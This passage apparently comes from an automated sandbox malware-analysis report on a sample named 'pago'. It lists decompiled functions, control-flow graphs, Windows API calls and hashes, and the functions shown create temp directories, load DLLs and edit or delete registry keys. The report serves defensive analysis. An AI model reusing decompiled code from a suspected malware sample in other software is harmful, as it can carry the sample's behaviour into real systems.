                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: File$Pointer$ByteCharMultiWide$Read
                                                                  • String ID: 9
                                                                  • API String ID: 163830602-2366072709
                                                                  • Opcode ID: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
                                                                  • Instruction ID: 36eba916602f65c1f8b814f2f26102ddc75cc08ed25eda7b441ea0696c55e726
                                                                  • Opcode Fuzzy Hash: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
                                                                  • Instruction Fuzzy Hash: C551E975D00219AADF20EF95CA89AAEBB79FF04304F10817BE541B62D4D7B49D82CB58
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 695 40689a-4068ba GetSystemDirectoryW 696 4068bc 695->696 697 4068be-4068c0 695->697 696->697 698 4068d1-4068d3 697->698 699 4068c2-4068cb 697->699 701 4068d4-406907 wsprintfW LoadLibraryExW 698->701 699->698 700 4068cd-4068cf 699->700 700->701
                                                                  C-Code - Quality: 100%
                                                                  			E0040689A(intOrPtr _a4) {
                                                                  				short _v576;
                                                                  				signed int _t13;
                                                                  				struct HINSTANCE__* _t17;
                                                                  				signed int _t19;
                                                                  				void* _t24;
                                                                  
                                                                  				_t13 = GetSystemDirectoryW( &_v576, 0x104);
                                                                  				if(_t13 > 0x104) {
                                                                  					_t13 = 0;
                                                                  				}
                                                                  				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
                                                                  					_t19 = 1;
                                                                  				} else {
                                                                  					_t19 = 0;
                                                                  				}
                                                                  				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
                                                                  				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
                                                                  				return _t17;
                                                                  			}








                                                                  0x004068b1
                                                                  0x004068ba
                                                                  0x004068bc
                                                                  0x004068bc
                                                                  0x004068c0
                                                                  0x004068d3
                                                                  0x004068cd
                                                                  0x004068cd
                                                                  0x004068cd
                                                                  0x004068ec
                                                                  0x00406900
                                                                  0x00406907

                                                                  APIs
                                                                  • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
                                                                  • wsprintfW.USER32 ref: 004068EC
                                                                  • LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: DirectoryLibraryLoadSystemwsprintf
                                                                  • String ID: %s%S.dll$UXTHEME$\
                                                                  • API String ID: 2200240437-1946221925
                                                                  • Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
                                                                  • Instruction ID: 21628a1c63ce2f140fdd4d546058f3b0ba52bdb51e88dcb335987c0e659eada7
                                                                  • Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
                                                                  • Instruction Fuzzy Hash: D0F0F671511119ABDB10BB64DD0DF9B376CBF00305F10847AA646F10D0EB7CDA68CBA8
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 702 405a6e-405ab9 CreateDirectoryW 703 405abb-405abd 702->703 704 405abf-405acc GetLastError 702->704 705 405ae6-405ae8 703->705 704->705 706 405ace-405ae2 SetFileSecurityW 704->706 706->703 707 405ae4 GetLastError 706->707 707->705
                                                                  C-Code - Quality: 100%
                                                                  			E00405A6E(WCHAR* _a4) {
                                                                  				struct _SECURITY_ATTRIBUTES _v16;
                                                                  				struct _SECURITY_DESCRIPTOR _v36;
                                                                  				int _t22;
                                                                  				long _t23;
                                                                  
                                                                  				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
                                                                  				_v36.Owner = 0x4083f8;
                                                                  				_v36.Group = 0x4083f8;
                                                                  				_v36.Sacl = _v36.Sacl & 0x00000000;
                                                                  				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
                                                                  				_v16.lpSecurityDescriptor =  &_v36;
                                                                  				_v36.Revision = 1;
                                                                  				_v36.Control = 4;
                                                                  				_v36.Dacl = 0x4083e8;
                                                                  				_v16.nLength = 0xc;
                                                                  				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
                                                                  				if(_t22 != 0) {
                                                                  					L1:
                                                                  					return 0;
                                                                  				}
                                                                  				_t23 = GetLastError();
                                                                  				if(_t23 == 0xb7) {
                                                                  					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
                                                                  						goto L1;
                                                                  					}
                                                                  					return GetLastError();
                                                                  				}
                                                                  				return _t23;
                                                                  			}







                                                                  0x00405a79
                                                                  0x00405a7d
                                                                  0x00405a80
                                                                  0x00405a86
                                                                  0x00405a8a
                                                                  0x00405a8e
                                                                  0x00405a96
                                                                  0x00405a9d
                                                                  0x00405aa3
                                                                  0x00405aaa
                                                                  0x00405ab1
                                                                  0x00405ab9
                                                                  0x00405abb
                                                                  0x00000000
                                                                  0x00405abb
                                                                  0x00405ac5
                                                                  0x00405acc
                                                                  0x00405ae2
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405ae4
                                                                  0x00405ae8

                                                                  APIs
                                                                  • CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1
                                                                  • GetLastError.KERNEL32 ref: 00405AC5
                                                                  • SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADA
                                                                  • GetLastError.KERNEL32 ref: 00405AE4
                                                                  Strings
                                                                  • C:\Users\user\AppData\Local\Temp\, xrefs: 00405A94
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\
                                                                  • API String ID: 3449924974-3936084776
                                                                  • Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
                                                                  • Instruction ID: 637b0a295f6611997b04f2fb2f8121e2d74ae93851c1d74b8ff7b710bfe1865b
                                                                  • Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
                                                                  • Instruction Fuzzy Hash: 1A010871D04219EAEF019BA0DD84BEFBBB4EB14314F00813AD545B6281E7789648CFE9
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 708 402ea9-402ed2 call 4063aa 710 402ed7-402edb 708->710 711 402ee1-402ee5 710->711 712 402f8c-402f90 710->712 713 402ee7-402f08 RegEnumValueW 711->713 714 402f0a-402f1d 711->714 713->714 715 402f71-402f7f RegCloseKey 713->715 716 402f46-402f4d RegEnumKeyW 714->716 715->712 717 402f1f-402f21 716->717 718 402f4f-402f61 RegCloseKey call 40690a 716->718 717->715 720 402f23-402f37 call 402ea9 717->720 724 402f81-402f87 718->724 725 402f63-402f6f RegDeleteKeyW 718->725 720->718 726 402f39-402f45 720->726 724->712 725->712 726->716
                                                                  C-Code - Quality: 48%
                                                                  			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
                                                                  				void* _v8;
                                                                  				int _v12;
                                                                  				short _v536;
                                                                  				void* _t27;
                                                                  				signed int _t33;
                                                                  				intOrPtr* _t35;
                                                                  				signed int _t45;
                                                                  				signed int _t46;
                                                                  				signed int _t47;
                                                                  
                                                                  				_t46 = _a12;
                                                                  				_t47 = _t46 & 0x00000300;
                                                                  				_t45 = _t46 & 0x00000001;
                                                                  				_t27 = E004063AA(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8); // executed
                                                                  				if(_t27 == 0) {
                                                                  					if((_a12 & 0x00000002) == 0) {
                                                                  						L3:
                                                                  						_push(0x105);
                                                                  						_push( &_v536);
                                                                  						_push(0);
                                                                  						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
                                                                  							__eflags = _t45;
                                                                  							if(__eflags != 0) {
                                                                  								L10:
                                                                  								RegCloseKey(_v8);
                                                                  								return 0x3eb;
                                                                  							}
                                                                  							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
                                                                  							__eflags = _t33;
                                                                  							if(_t33 != 0) {
                                                                  								break;
                                                                  							}
                                                                  							_push(0x105);
                                                                  							_push( &_v536);
                                                                  							_push(_t45);
                                                                  						}
                                                                  						RegCloseKey(_v8);
                                                                  						_t35 = E0040690A(3);
                                                                  						if(_t35 != 0) {
                                                                  							return  *_t35(_a4, _a8, _t47, 0);
                                                                  						}
                                                                  						return RegDeleteKeyW(_a4, _a8);
                                                                  					}
                                                                  					_v12 = 0;
                                                                  					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
                                                                  						goto L10;
                                                                  					}
                                                                  					goto L3;
                                                                  				}
                                                                  				return _t27;
                                                                  			}












                                                                  0x00402eb4
                                                                  0x00402ebd
                                                                  0x00402ec6
                                                                  0x00402ed2
                                                                  0x00402edb
                                                                  0x00402ee5
                                                                  0x00402f0a
                                                                  0x00402f10
                                                                  0x00402f15
                                                                  0x00402f16
                                                                  0x00402f46
                                                                  0x00402f1f
                                                                  0x00402f21
                                                                  0x00402f71
                                                                  0x00402f74
                                                                  0x00000000
                                                                  0x00402f7a
                                                                  0x00402f30
                                                                  0x00402f35
                                                                  0x00402f37
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00402f3f
                                                                  0x00402f44
                                                                  0x00402f45
                                                                  0x00402f45
                                                                  0x00402f52
                                                                  0x00402f5a
                                                                  0x00402f61
                                                                  0x00000000
                                                                  0x00402f8a
                                                                  0x00000000
                                                                  0x00402f69
                                                                  0x00402ef5
                                                                  0x00402f08
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00402f08
                                                                  0x00402f90

                                                                  APIs
                                                                  • RegEnumValueW.ADVAPI32 ref: 00402EFD
                                                                  • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
                                                                  • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
                                                                  • RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
                                                                  • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CloseEnum$DeleteValue
                                                                  • String ID:
                                                                  • API String ID: 1354259210-0
                                                                  • Opcode ID: 8cb330a57336db5e00a931244e28e0c1e8cbbd051d222c2bd1499622aecedac4
                                                                  • Instruction ID: ca6229ec891c5908b4c2d3bab14ae3db7b9396451d72a40731f1c02386a45f13
                                                                  • Opcode Fuzzy Hash: 8cb330a57336db5e00a931244e28e0c1e8cbbd051d222c2bd1499622aecedac4
                                                                  • Instruction Fuzzy Hash: DA215A7150010ABBEF119F90CE89EEF7B7DEB50384F100076F909B21A0D7B49E54AA68
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 727 732d1817-732d1856 call 732d1bff 731 732d185c-732d1860 727->731 732 732d1976-732d1978 727->732 733 732d1869-732d1876 call 732d2480 731->733 734 732d1862-732d1868 call 732d243e 731->734 739 732d1878-732d187d 733->739 740 732d18a6-732d18ad 733->740 734->733 743 732d187f-732d1880 739->743 744 732d1898-732d189b 739->744 741 732d18cd-732d18d1 740->741 742 732d18af-732d18cb call 732d2655 call 732d1654 call 732d1312 GlobalFree 740->742 745 732d191e-732d1924 call 732d2655 741->745 746 732d18d3-732d191c call 732d1666 call 732d2655 741->746 767 732d1925-732d1929 742->767 749 732d1888-732d1889 call 732d2b98 743->749 750 732d1882-732d1883 743->750 744->740 747 732d189d-732d189e call 732d2e23 744->747 745->767 746->767 761 732d18a3 747->761 758 732d188e 749->758 755 732d1885-732d1886 750->755 756 732d1890-732d1896 call 732d2810 750->756 755->740 755->749 766 732d18a5 756->766 758->761 761->766 766->740 770 732d192b-732d1939 call 732d2618 767->770 771 732d1966-732d196d 767->771 777 732d193b-732d193e 770->777 778 732d1951-732d1958 770->778 771->732 774 732d196f-732d1970 GlobalFree 771->774 774->732 777->778 780 732d1940-732d1948 777->780 778->771 779 732d195a-732d1965 call 732d15dd 778->779 779->771 780->778 781 732d194a-732d194b FreeLibrary 780->781 781->778
                                                                  C-Code - Quality: 88%
                                                                  			E732D1817(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
                                                                  				void _v36;
                                                                  				char _v136;
                                                                  				struct HINSTANCE__* _t37;
                                                                  				void* _t39;
                                                                  				intOrPtr _t42;
                                                                  				void* _t48;
                                                                  				void* _t49;
                                                                  				void* _t50;
                                                                  				void* _t54;
                                                                  				intOrPtr _t57;
                                                                  				signed int _t61;
                                                                  				signed int _t63;
                                                                  				void* _t67;
                                                                  				void* _t68;
                                                                  				void* _t72;
                                                                  				void* _t76;
                                                                  
                                                                  				_t76 = __esi;
                                                                  				_t68 = __edi;
                                                                  				_t67 = __edx;
                                                                  				 *0x732d506c = _a8;
                                                                  				 *0x732d5070 = _a16;
                                                                  				 *0x732d5074 = _a12;
                                                                  				 *((intOrPtr*)(_a20 + 0xc))( *0x732d5048, E732D1651);
                                                                  				_push(1);
                                                                  				_t37 = E732D1BFF();
                                                                  				_t54 = _t37;
                                                                  				if(_t54 == 0) {
                                                                  					L28:
                                                                  					return _t37;
                                                                  				} else {
                                                                  					if( *((intOrPtr*)(_t54 + 4)) != 1) {
                                                                  						E732D243E(_t54);
                                                                  					}
                                                                  					_push(_t54);
                                                                  					E732D2480(_t67);
                                                                  					_t57 =  *((intOrPtr*)(_t54 + 4));
                                                                  					if(_t57 == 0xffffffff) {
                                                                  						L14:
                                                                  						if(( *(_t54 + 0x1010) & 0x00000004) == 0) {
                                                                  							if( *((intOrPtr*)(_t54 + 4)) == 0) {
                                                                  								_push(_t54);
                                                                  								_t37 = E732D2655();
                                                                  							} else {
                                                                  								_push(_t76);
                                                                  								_push(_t68);
                                                                  								_t61 = 8;
                                                                  								_t13 = _t54 + 0x1018; // 0x1018
                                                                  								memcpy( &_v36, _t13, _t61 << 2);
                                                                  								_t42 = E732D1666(_t54,  &_v136);
                                                                  								 *(_t54 + 0x1034) =  *(_t54 + 0x1034) & 0x00000000;
                                                                  								_t18 = _t54 + 0x1018; // 0x1018
                                                                  								_t72 = _t18;
                                                                  								_push(_t54);
                                                                  								 *((intOrPtr*)(_t54 + 0x1020)) = _t42;
                                                                  								 *_t72 = 4;
                                                                  								E732D2655();
                                                                  								_t63 = 8;
                                                                  								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
                                                                  							}
                                                                  						} else {
                                                                  							_push(_t54);
                                                                  							E732D2655();
                                                                  							_t37 = GlobalFree(E732D1312(E732D1654(_t54)));
                                                                  						}
                                                                  						if( *((intOrPtr*)(_t54 + 4)) != 1) {
                                                                  							_t37 = E732D2618(_t54);
                                                                  							if(( *(_t54 + 0x1010) & 0x00000040) != 0 &&  *_t54 == 1) {
                                                                  								_t37 =  *(_t54 + 0x1008);
                                                                  								if(_t37 != 0) {
                                                                  									_t37 = FreeLibrary(_t37);
                                                                  								}
                                                                  							}
                                                                  							if(( *(_t54 + 0x1010) & 0x00000020) != 0) {
                                                                  								_t37 = E732D15DD( *0x732d5068);
                                                                  							}
                                                                  						}
                                                                  						if(( *(_t54 + 0x1010) & 0x00000002) != 0) {
                                                                  							goto L28;
                                                                  						} else {
                                                                  							_t39 = GlobalFree(_t54); // executed
                                                                  							return _t39;
                                                                  						}
                                                                  					}
                                                                  					_t48 =  *_t54;
                                                                  					if(_t48 == 0) {
                                                                  						if(_t57 != 1) {
                                                                  							goto L14;
                                                                  						}
                                                                  						E732D2E23(_t54);
                                                                  						L12:
                                                                  						_t54 = _t48;
                                                                  						L13:
                                                                  						goto L14;
                                                                  					}
                                                                  					_t49 = _t48 - 1;
                                                                  					if(_t49 == 0) {
                                                                  						L8:
                                                                  						_t48 = E732D2B98(_t57, _t54); // executed
                                                                  						goto L12;
                                                                  					}
                                                                  					_t50 = _t49 - 1;
                                                                  					if(_t50 == 0) {
                                                                  						E732D2810(_t54);
                                                                  						goto L13;
                                                                  					}
                                                                  					if(_t50 != 1) {
                                                                  						goto L14;
                                                                  					}
                                                                  					goto L8;
                                                                  				}
                                                                  			}



















                                                                  0x732d1817
                                                                  0x732d1817
                                                                  0x732d1817
                                                                  0x732d1824
                                                                  0x732d182c
                                                                  0x732d1839
                                                                  0x732d1847
                                                                  0x732d184a
                                                                  0x732d184c
                                                                  0x732d1851
                                                                  0x732d1856
                                                                  0x732d1978
                                                                  0x732d1978
                                                                  0x732d185c
                                                                  0x732d1860
                                                                  0x732d1863
                                                                  0x732d1868
                                                                  0x732d1869
                                                                  0x732d186a
                                                                  0x732d1870
                                                                  0x732d1876
                                                                  0x732d18a6
                                                                  0x732d18ad
                                                                  0x732d18d1
                                                                  0x732d191e
                                                                  0x732d191f
                                                                  0x732d18d3
                                                                  0x732d18d3
                                                                  0x732d18d4
                                                                  0x732d18dd
                                                                  0x732d18de
                                                                  0x732d18e8
                                                                  0x732d18eb
                                                                  0x732d18f0
                                                                  0x732d18f7
                                                                  0x732d18f7
                                                                  0x732d18fd
                                                                  0x732d18fe
                                                                  0x732d1904
                                                                  0x732d190a
                                                                  0x732d1917
                                                                  0x732d1918
                                                                  0x732d191b
                                                                  0x732d18af
                                                                  0x732d18af
                                                                  0x732d18b0
                                                                  0x732d18c5
                                                                  0x732d18c5
                                                                  0x732d1929
                                                                  0x732d192c
                                                                  0x732d1939
                                                                  0x732d1940
                                                                  0x732d1948
                                                                  0x732d194b
                                                                  0x732d194b
                                                                  0x732d1948
                                                                  0x732d1958
                                                                  0x732d1960
                                                                  0x732d1965
                                                                  0x732d1958
                                                                  0x732d196d
                                                                  0x00000000
                                                                  0x732d196f
                                                                  0x732d1970
                                                                  0x00000000
                                                                  0x732d1970
                                                                  0x732d196d
                                                                  0x732d187a
                                                                  0x732d187d
                                                                  0x732d189b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d189e
                                                                  0x732d18a3
                                                                  0x732d18a3
                                                                  0x732d18a5
                                                                  0x00000000
                                                                  0x732d18a5
                                                                  0x732d187f
                                                                  0x732d1880
                                                                  0x732d1888
                                                                  0x732d1889
                                                                  0x00000000
                                                                  0x732d1889
                                                                  0x732d1882
                                                                  0x732d1883
                                                                  0x732d1891
                                                                  0x00000000
                                                                  0x732d1891
                                                                  0x732d1886
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1886

                                                                  APIs
                                                                    • Part of subcall function 732D1BFF: GlobalFree.KERNEL32 ref: 732D1E74
                                                                    • Part of subcall function 732D1BFF: GlobalFree.KERNEL32 ref: 732D1E79
                                                                    • Part of subcall function 732D1BFF: GlobalFree.KERNEL32 ref: 732D1E7E
                                                                  • GlobalFree.KERNEL32 ref: 732D18C5
                                                                  • FreeLibrary.KERNEL32(?), ref: 732D194B
                                                                  • GlobalFree.KERNEL32 ref: 732D1970
                                                                    • Part of subcall function 732D243E: GlobalAlloc.KERNEL32(00000040,?), ref: 732D246F
                                                                    • Part of subcall function 732D2810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,732D1896,00000000), ref: 732D28E0
                                                                    • Part of subcall function 732D1666: wsprintfW.USER32 ref: 732D1694
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Global$Free$Alloc$Librarywsprintf
                                                                  • String ID:
                                                                  • API String ID: 3962662361-3916222277
                                                                  • Opcode ID: 534b088bd57a678498819a955fbc153c53926d09a55b45d1972584131a76a31a
                                                                  • Instruction ID: c76040e6b995f7b6b0c7ed404a840f3fbf8bf67e319d70a2e0fe7990f0c4b8be
                                                                  • Opcode Fuzzy Hash: 534b088bd57a678498819a955fbc153c53926d09a55b45d1972584131a76a31a
                                                                  • Instruction Fuzzy Hash: 8841B871A303469BEB419F74E888BD537ACAF04315F188465ED4B9A8C6DBB8E0C4C7A0
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 784 40248a-4024bb call 402da6 * 2 call 402e36 791 4024c1-4024cb 784->791 792 402c2a-402c39 784->792 793 4024cd-4024da call 402da6 lstrlenW 791->793 794 4024de-4024e1 791->794 793->794 797 4024e3-4024f4 call 402d84 794->797 798 4024f5-4024f8 794->798 797->798 802 402509-40251d RegSetValueExW 798->802 803 4024fa-402504 call 4032b4 798->803 806 402522-402603 RegCloseKey 802->806 807 40251f 802->807 803->802 806->792 807->806
                                                                  C-Code - Quality: 83%
                                                                  			E0040248A(void* __eax, int __ebx, intOrPtr __edx, void* __eflags) {
                                                                  				void* _t20;
                                                                  				void* _t21;
                                                                  				int _t24;
                                                                  				long _t25;
                                                                  				int _t30;
                                                                  				intOrPtr _t33;
                                                                  				void* _t34;
                                                                  				intOrPtr _t37;
                                                                  				void* _t39;
                                                                  				void* _t42;
                                                                  
                                                                  				_t42 = __eflags;
                                                                  				_t33 = __edx;
                                                                  				_t30 = __ebx;
                                                                  				_t37 =  *((intOrPtr*)(_t39 - 0x20));
                                                                  				_t34 = __eax;
                                                                  				 *(_t39 - 0x10) =  *(_t39 - 0x1c);
                                                                  				 *(_t39 - 0x44) = E00402DA6(2);
                                                                  				_t20 = E00402DA6(0x11);
                                                                  				 *(_t39 - 4) = 1;
                                                                  				_t21 = E00402E36(_t42, _t34, _t20, 2); // executed
                                                                  				 *(_t39 + 8) = _t21;
                                                                  				if(_t21 != __ebx) {
                                                                  					_t24 = 0;
                                                                  					if(_t37 == 1) {
                                                                  						E00402DA6(0x23);
                                                                  						_t24 = lstrlenW(0x40b5f0) + _t29 + 2;
                                                                  					}
                                                                  					if(_t37 == 4) {
                                                                  						 *0x40b5f0 = E00402D84(3);
                                                                  						 *((intOrPtr*)(_t39 - 0x38)) = _t33;
                                                                  						_t24 = _t37;
                                                                  					}
                                                                  					if(_t37 == 3) {
                                                                  						_t24 = E004032B4( *((intOrPtr*)(_t39 - 0x24)), _t30, 0x40b5f0, 0x1800); // executed
                                                                  					}
                                                                  					_t25 = RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x44), _t30,  *(_t39 - 0x10), 0x40b5f0, _t24); // executed
                                                                  					if(_t25 == 0) {
                                                                  						 *(_t39 - 4) = _t30;
                                                                  					}
                                                                  					_push( *(_t39 + 8));
                                                                  					RegCloseKey(); // executed
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *(_t39 - 4);
                                                                  				return 0;
                                                                  			}













                                                                  0x0040248a
                                                                  0x0040248a
                                                                  0x0040248a
                                                                  0x0040248a
                                                                  0x0040248d
                                                                  0x00402494
                                                                  0x0040249e
                                                                  0x004024a1
                                                                  0x004024aa
                                                                  0x004024b1
                                                                  0x004024b8
                                                                  0x004024bb
                                                                  0x004024c1
                                                                  0x004024cb
                                                                  0x004024cf
                                                                  0x004024da
                                                                  0x004024da
                                                                  0x004024e1
                                                                  0x004024eb
                                                                  0x004024f1
                                                                  0x004024f4
                                                                  0x004024f4
                                                                  0x004024f8
                                                                  0x00402504
                                                                  0x00402504
                                                                  0x00402515
                                                                  0x0040251d
                                                                  0x0040251f
                                                                  0x0040251f
                                                                  0x00402522
                                                                  0x004025fd
                                                                  0x004025fd
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp,00000023,00000011,00000002), ref: 004024D5
                                                                  • RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp,00000000,00000011,00000002), ref: 00402515
                                                                  • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp,00000000,00000011,00000002), ref: 004025FD
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
